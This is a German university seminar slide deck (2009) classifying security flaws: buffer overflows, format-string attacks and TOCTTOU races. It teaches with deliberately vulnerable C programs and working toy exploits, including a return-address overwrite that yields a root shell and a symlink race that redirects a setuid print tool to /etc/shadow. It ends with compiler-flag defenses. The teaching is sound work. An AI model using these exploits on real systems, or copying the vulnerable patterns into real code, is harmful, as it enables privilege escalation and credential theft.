

Klassifizierung von sicherheitstechnischen Problemen

Vortrag im Hauptseminar Codeanalyse in sicherheitskritischer
Systemsoftware

Johannes Schlumberger
asso@0xbadc0ffee.de

Friedrich-Alexander-Universität Erlangen/Nürnberg

3. März 2009



Inhalt

- 1 Einleitende Beispiele
- 2 Wie funktioniert sowas konkret?
 - Pufferüberläufe
 - Format-String-Angriffe
 - TOCTTOU
- 3 Ausblick



Einleitende Beispiele



Flash

Remote Control

A remote attacker can entice a user to open a specially crafted file (via a WebBrowser), leading to the execution of arbitrary code with the privileges of the user running Adobe Flash Player. The attacker could also use a user's machine to send HTTP-requests to other hosts, establish TCP connections with arbitrary hosts or conduct Cross-Site Scripting and Cross-Site Request Forgery attacks.

April 18, 2008.



Sun JRE

Remote Java

A remote attacker could entice a user to run a specially crafted applet on a website or start an application in Java Web Start to execute arbitrary code outside of the Java sandbox and of the Java security restrictions with the privileges of the user running Java. The attacker could also obtain sensitive information, create, modify, rename and read local files, execute local applications, establish connections in the local network, bypass the same origin policy, and cause a Denial of Service via multiple attack vectors.

April 17, 2008.



Virens Scanner, Firewalls

Local access to kernel space, firewall-bypassing

Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls (BitDefender Antivirus, Comodo Firewall, Sophos Antivirus and Rising Antivirus) have been found that could lead to a Denial of Service (DoS) and possibly to code execution attacks. An attacker, utilizing these flaws, could be able to locally reboot the whole system shutting down the firewall or anti-virus protection. However, in some cases it may be possible to extend the impact of these bugs, and they could lead to the execution of arbitrary code in the privileged kernel mode.

April 28, 2008.



Dimensionen von Exploits

- Art der Schwachstelle (password management flaw, Softwarefehler, ...)
- entfernt oder lokal
- Ergebnis des Exploits (Privilegieneskalation (horizontal oder vertikal), DoS, Spoofing, ...)



Wie funktioniert sowas konkret?



Pufferüberläufe

Definition

Ein Pufferüberlauf ist ein abnormaler Zustand in dem zu viele Daten in einen Puffer fixer Länge geschrieben werden. Dabei werden dem Puffer nachfolgende Bereiche im Speicher überschrieben.

Folgen:

- Absturz
- inkorrekte Ergebnisse
- Änderungen des Programmablaufs



Stack-, vs. Heappufferüberlauf

Pufferüberläufe

Je nachdem in welchem Speichersegment der Puffer liegt, der überlaufen wird, spricht man von Stack-, BSS- oder Heap-Pufferüberläufen.

Beliebte Ziele:

- Stack: Rücksprungadresse
- Heap: Metadaten der Speicherverwaltung



Prinzip

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char name[10];
    char greeting[10];
    strcpy(name, argv[2]);
    strcpy(greeting, argv[1]);
    printf("%s %s\n", greeting, name);
    return 0;
}
```



Prinzip

```
[spjsschl@asso:/tmp]$ ./a.out Hallo Welt  
Hallo Welt  
[spjsschl@asso:/tmp]$ ./a.out Hallo Reini  
Hallo Reini  
[spjsschl@asso:/tmp]$ ./a.out Hi Everyone  
Hi Everyone  
[spjsschl@asso:/tmp]$ ./a.out Excessivegreetz world  
Excessivegreetz reetz
```



Beispiel

```
int valid(void)
{
    char small[10];
    gets(small); /* gets is evil */
    return (!strcmp(small, "geheim"));
}

int main(void)
{
    if (valid()) {
        printf("Access granted\n");
        execl("/bin/bash", "/bin/bash",
              (char *) NULL);
    } else printf("Sorry\n");
    return 0;
}
```



Beispiel

```
[spjsschl@asso:/tmp]$ ./a.out  
jksfdgsd  
Sorry  
[spjsschl@asso:/tmp]$ ./a.out  
geheim  
Access Granted  
[root@asso:/tmp]$ exit  
[spjsschl@asso:/tmp]$
```

Und jetzt?

Wie kann man das exploiten?



Informationen sammeln

```
[spjsschl@asso:/tmp]$ objdump -d a.out | less
```

```
080483c4 <valid>:
```

```
...
```

```
80483cc:  8d 45 ee          lea  0xffffffff(%ebp),%eax
```

```
80483cf:  89 04 24          mov  %eax,(%esp)
```

```
80483d2:  e8 fd fe ff ff   call 80482d4 <gets@plt>
```

```
...
```

```
8048414:  c3              ret
```



Informationen sammeln

08048415 <main>:

...

```
08048426: e8 99 ff ff ff      call 80483c4 <valid>
0804842b: 85 c0               test %eax,%eax
0804842d: 74 2a               je 8048459 <main+0x44>
0804842f: c7 04 24 8f 85 04 08 movl $0x804858f, (%esp)
08048436: e8 a9 fe ff ff      call 80482e4 <puts@plt>
0804843b: c7 44 24 08 00 00 00 movl $0x0, 0x8(%esp)
08048442: 00
08048443: c7 44 24 04 9d 85 04 movl $0x804859d, 0x4(%esp)
0804844a: 08
0804844b: c7 04 24 9d 85 04 08 movl $0x804859d, (%esp)
08048452: e8 6d fe ff ff      call 80482c4 <execl@plt>
```

...

exploit.c

```
int main(void) {
    unsigned char ret[] = {0x08,0x04,0x84,0x2f};
    char buf[100];
    int i, j;
    /*22 bytes padding => gdb*/
    for (i = 0; i < 22; i++) buf[i] = 'x';
    /*little endian 4 byte return adress*/
    j = 4;
    while(j) buf[i++] = ret[--j];
    buf[i] = 0;
    puts(buf);
    return 0;
}
```



Haxxored.

```
[spjsschl@asso:/tmp]$ gcc -o ex exploit.c  
[spjsschl@asso:/tmp]$ ./ex | ./a.out  
Access Granted  
[root@asso:/tmp]$
```

got root?

KTHNXBYE!



Format-String-Angriffe

Format-String-Schwachstelle

Wenn Benutzereingaben durch eine Funktion der `printf()`-Familie als Formatstring statt als "normaler" String interpretiert werden, spricht man von einer Format-String-Schwachstelle.



Format-String-Angriffe

Format-String-Schwachstelle

Wenn Benutzereingaben durch eine Funktion der `printf()`-Familie als Formatstring statt als "normaler" String interpretiert werden, spricht man von einer Format-String-Schwachstelle.

Format-String-Angriff

Wenn diese Interpretation zum Auslesen vertraulicher Daten oder für andere Angriffe verwendet wird, spricht man von einem Format-String-Angriff.



Funktionsweise von printf()

Signatur: `int printf(const char *format, ...);`

- variable Parameteranzahl
- via Stack übergeben
- festgelegt durch `const char *format`
- Korrektheit des format strings wird angenommen



Der kleine Unterschied

Ausgabe unbekannter Strings:

Böse

```
printf(buffer);
```

“Benutzerdefiniertes Format”

Besser

```
printf("%s", buffer);
```

Formatstring fest vorgeben



Beispiel

```
int main (int argc, char **argv)
{
    char buf[100];
    printf("Please enter your name:\n");
    fgets(buf, 100, stdin);
    puts("Your name is:");
    printf(buf);
    return 0;
}
```



Beispiel

```
[spjsschl@asso:/tmp]$ ./a.out
Please enter your name:
asso %x%x%x%x%x%x%x%x%x%x%x
Your name is:
asso 64b7efa300000006f73736125782520257825782578257825782578257825782578
[spjsschl@asso:/tmp]$ ./a.out
Please enter your name:
asso %s%s%s%s%s%s%s
Your name is:
Segmentation fault
[spjsschl@asso:/tmp]$
```



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig
- GOT enthält Offsets
- GOT enthält auch Pointer auf PLTs (Procedure Linkage Table)



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig
- GOT enthält Offsets
- GOT enthält auch Pointer auf PLTs (Procedure Linkage Table)
- PLT regelt Umleitung von Funktionsaufrufen



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig
- GOT enthält Offsets
- GOT enthält auch Pointer auf PLTs (Procedure Linkage Table)
- PLT regelt Umleitung von Funktionsaufrufen
- GOT ist üblicherweise im data segment(rw)



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig
- GOT enthält Offsets
- GOT enthält auch Pointer auf PLTs (Procedure Linkage Table)
- PLT regelt Umleitung von Funktionsaufrufen
- GOT ist üblicherweise im `data segment(rw) *eg*`



GOT/PLT

Angriff auf die GOT (Global Offset Table) mittels `scanf()`

- PIC für shared objects nötig
- GOT enthält Offsets
- GOT enthält auch Pointer auf PLTs (Procedure Linkage Table)
- PLT regelt Umleitung von Funktionsaufrufen
- GOT ist üblicherweise im data segment(rw) *eg*

Exploitmathematik

GOT-Position (man (1) nm) + Stackexploit = PLT-Pointer

Austausch mit `scanf()`

⇒ Beliebiger Code ausführbar beim nächsten Funktionsaufruf



Format-String-Angriffe

Folgen:

- Auslesen sensibler Daten
- DoS
- Einschleusen von Code



Format-String-Angriffe

Folgen:

- Auslesen sensibler Daten
- DoS
- Einschleusen von Code

Schutz durch Compilerflags möglich

```
-Wall -Wformat -Wno-format-extra-args  
-Wformat-security -Wformat-nonliteral -Wformat=2
```



Format-String-Angriffe

Folgen:

- Auslesen sensibler Daten
- DoS
- Einschleusen von Code

Schutz durch Compilerflags möglich

```
-Wall -Wformat -Wno-format-extra-args  
-Wformat-security -Wformat-nonliteral -Wformat=2
```

(Womit wir endlich beim Thema wären :-))



Time-Of-Check-To-Time-Of-Use

TOCTTOU

Eine Schwachstelle die Änderungen an einem System zwischen einem Authorisierungstest und der Verwendung der erteilten Privilegien ausnützt, nennt man TOCTTOU Schwachstelle. Es handelt sich um eine race condition.



Einhängen in Druckerqueue

```
int main(int argc, char **argv) {
    int fd;
    if (access(argv[1], R_OK) != 0) {
        exit(1);
    }
    fd = open(argv[1], O_RDONLY);
    /*read from fd, send to queue*/
}
```

- setuid-binary
- access prüft uid nicht euid



access(2)/open(2) race

1 touch 2print



access(2)/open(2) race

- 1 touch 2print
- 2 print 2print



access(2)/open(2) race

- 1 touch 2print
- 2 print 2print
- 3 access(2print) erfolgreich



access(2)/open(2) race

- 1 touch 2print
- 2 print 2print
- 3 access(2print) erfolgreich
- 4 print-binary unterbrechen



access(2)/open(2) race

- 1 touch 2print
- 2 print 2print
- 3 access(2print) erfolgreich
- 4 print-binary unterbrechen
- 5 rm -f 2print; ln -s /etc/shadow 2print



access(2)/open(2) race

- 1 touch 2print
- 2 print 2print
- 3 access(2print) erfolgreich
- 4 print-binary unterbrechen
- 5 rm -f 2print; ln -s /etc/shadow 2print
- 6 open(/etc/shadow) wird gedruckt



access(2)/open(2) race

- 1 touch 2print
 - 2 print 2print
 - 3 access(2print) erfolgreich
 - 4 print-binary unterbrechen
 - 5 rm -f 2print; ln -s /etc/shadow 2print
 - 6 open(/etc/shadow) wird gedruckt
- Extrem zeitkritisch
 - Buffer-Cache hilft



exploit.c

```
int main (int argc, char **argv)
{
    if (fork() == 0) {
        system("print_2print");
        exit(0);
    }
    usleep(1); /*yield CPU*/
    /*Switch where 2print points*/
    unlink("2print");
    symlink("/etc/shadow", "2print");
    return 0;
}
```



Ist das realistisch?

- 10^3 Versuche auf Singleprozessorsystemen
- 10^1 auf Multiprozessorsystemen



Ist das realistisch?

- 10^3 Versuche auf Singleprozessorsystemen
- 10^1 auf Multiprozessorsystemen
- Aber: Verbesserte Angriffe mit 98-100% Erfolgsrate
 - filesystem-mazes
 - syscall-synchronizer
 - syscall-distinguisher



Ausblick



Was hätte man gerne?

Programme, die ...

- TOCTTOU
 - die API semantisch verstehen
 - logische Fehler/Races erkennen



Was hätte man gerne?

Programme, die ...

- TOCTTOU
 - die API semantisch verstehen
 - logische Fehler/Races erkennen
- Format-String-Schwachstellen
 - tainted vs. non tainted data erkennen
 - kritische Überprüfung von tainted data vornehmen



Was hätte man gerne?

Programme, die ...

- TOCTTOU
 - die API semantisch verstehen
 - logische Fehler/Races erkennen
- Format-String-Schwachstellen
 - tainted vs. non tainted data erkennen
 - kritische Überprüfung von tainted data vornehmen
- Pufferüberläufe
 - per Daten- und Kontrollflußanalyse feststellen,
 - unter welchen Vorbedingungen/auf welchen Pfaden Überläufe auftreten.







Schluss

Danke für Eure Aufmerksamkeit - Fragen?



Literatur

-  John R. Levine (2000) “Linkers and Loaders” 1st ed..
-  Nikita Borisov e.a. (2005). “Fixing Races for Fun and Profit: How to abuse atime”.
-  Aleph One e.a. “Smashing The Stack For Fun And Profit” [<http://doc.bughunter.net/buffer-overflow/smash-stack.html>].
-  Ian Lance Taylor “64-bit PowerPC ELF Application Binary Interface Supplement 1.7” [<http://www.linux-foundation.org/spec/ELF/ppc64/spec/x954.html>].
-  “Bugtraq Mailing-Liste” [<http://www.securityfocus.com/archive/1>].

